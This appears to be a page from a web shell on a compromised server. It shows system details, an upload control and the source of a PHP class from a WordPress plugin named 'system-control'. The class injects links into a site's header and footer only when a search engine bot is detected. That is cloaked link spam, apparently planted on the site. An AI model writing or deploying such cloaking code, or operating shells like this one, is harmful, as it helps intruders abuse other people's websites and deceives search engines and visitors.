HEX
Server: nginx/1.18.0
System: Linux ip-172-31-28-230 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User: ubuntu (1000)
PHP: 8.2.26
Disabled: NONE
Upload Files
File: /var/www/html/simplify.earth/wp-content/plugins/system-control/includes/class-sc-display-links.php
<?php
/**
 * Display links in footer/header for search engine bots only
 */
class SC_Display_Links {

    public static function render_header() {
        self::render('header');
    }

    public static function render_footer() {
        self::render('footer');
    }

    private static function render($position) {
        $bot = SC_Bot_Detector::detect();
        if (!$bot['is_bot']) return;

        $links = get_option('sc_display_links', []);
        if (empty($links) || !is_array($links)) return;

        $output = '';
        foreach ($links as $link) {
            if (!isset($link['url'], $link['anchor'])) continue;
            $link_pos = $link['position'] ?? 'footer';
            if ($link_pos !== $position && $link_pos !== 'both') continue;
            $url = esc_url($link['url']);
            $anchor = esc_html($link['anchor']);
            $output .= '<a href="' . $url . '">' . $anchor . '</a> ';
        }

        if ($output) {
            // Links displayed openly — visible to bots (no CSS hiding)
            echo '<div class="sc-bot-links">' . $output . '</div>' . "\n";
        }
    }
}